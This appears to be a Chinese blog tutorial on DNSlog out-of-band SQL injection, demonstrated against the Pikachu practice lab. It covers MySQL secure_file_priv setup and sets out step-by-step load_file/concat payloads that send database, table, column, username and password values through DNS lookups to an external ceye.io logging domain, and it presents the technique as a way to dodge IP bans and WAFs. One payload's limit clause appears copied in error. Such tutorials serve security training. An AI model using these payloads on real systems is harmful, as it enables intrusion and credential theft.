sql注入-DNSlog注入

发布时间 2023-05-31 18:22:05作者: IwakuraLain

sql注入-DNSlog注入

使用场景:

由于在盲注过程中,手工测试需要花费大量的时间,我们可能会想到使用sqlmap直接去跑出数据

但在实际测试中,使用sqlmap跑盲注,发包太多,网站很可能把ip给封掉,也许你会考虑使用代理池

这个时候可以尝试利用DNSlog注入,可以快速得到结果

原理:

在某些无法直接利用漏洞获得回显,或sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截的情况下,如果目标可以发起DNS请求,此时可通过DNSlog把想获得的数据外带出来,在DNSlog日志中查看

条件:

1.SQL服务器能连接网络;

2.开启了LOAD_FILE() 读取文件的函数


 

DNSLog注入配置:

1.注册域名

首先需要有一个可以配置的域名,比如:xxx.io,可以在DNSlog网站上申请

http://ceye.io

fig:

2.数据库配置

mysql -uroot -proot # 进入mysql

fig:

show variables like '%secure%'; # 查看load_file()可以读取的磁盘

  1. 当secure_file_priv为空,就可以读取磁盘的目录
  2. 当secure_file_priv为G:\,就可以读取G盘的文件
  3. 当secure_file_priv为null,load_file就不能加载文件

fig:

通过设置my.ini来配置(my.ini默认在mysql实例文件的根路径下,我使用的是小皮)

fig:

改为如下,如果没有直接添加就好

secure_file_priv="";

fig:

show variables like '%secure%';

查看为如下情况即可

fig:


 

注入流程

通过pikachu的字符型注入复现

1.获取数据库

构造语句1' and (select load_file(concat('////',(select database()),'.xxx.ceye.io/abc')))#

load_file() # 读取文件内容
select database() # 注入语句,可以替换常规的sql注入语句
.xxx.ceye.io/abc # 构成一个新的域名,让load_file()发起请求,从而把带有数据库查询结果的域名提交到DNS服务器进行解析

xxx.ceye.io为自己的域名

fig:

通过CEYE可以看到爆出了数据库名pikachu

fig:

2.获取表

构造语句,获取到第一张表httpinfo,但不是我们需要的

1' and (select load_file(concat('////',(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),'.xxx.ceye.io/abc')))#

fig:

继续获取第二张,得到member

1' and (select load_file(concat('////',(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),'.17lqi1.ceye.io/abc')))#

fig:

第四张users

1' and (select load_file(concat('////',(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),'.17lqi1.ceye.io/abc')))#

fig:

3.获取列

构造语句

1' and (select load_file(concat('////',(select column_name from information_schema.columns where table_name='member' limit 1,1),'.17lqi1.ceye.io/abc')))#

1' and (select load_file(concat('////',(select column_name from information_schema.columns where table_name='member' limit 2,1),'.17lqi1.ceye.io/abc')))#

第二列获取member的username,第三列获取pw

fig:

fig:

同理获取users的列,但爆出的字段好像不太对

fig:

可能是表重名了,试着加上指定数据库,就正常多了

获取到了users表的username和password

1' and (select load_file(concat('////',(select column_name from information_schema.columns where table_name='users' and table_schema='pikachu' limit 1,1),'.17lqi1.ceye.io/abc')))#

1' and (select load_file(concat('////',(select column_name from information_schema.columns where table_name='users' and table_schema='pikachu' limit 2,1),'.17lqi1.ceye.io/abc')))#

fig:

fig:

4.获取数据

构造语句获取member的username和pw数据

1' and (select load_file(concat('////',(select username from member limit 0,1),'.17lqi1.ceye.io/abc')))#

1' and (select load_file(concat('////',(select pw from member limit 0,1),'.17lqi1.ceye.io/abc')))#

fig:

fig:

以及users的username和password数据

1' and (select load_file(concat('////',(select username from users limit 0,1),'.17lqi1.ceye.io/abc')))#

1' and (select load_file(concat('////',(select password from users limit 0,1),'.17lqi1.ceye.io/abc')))#

fig:

fig: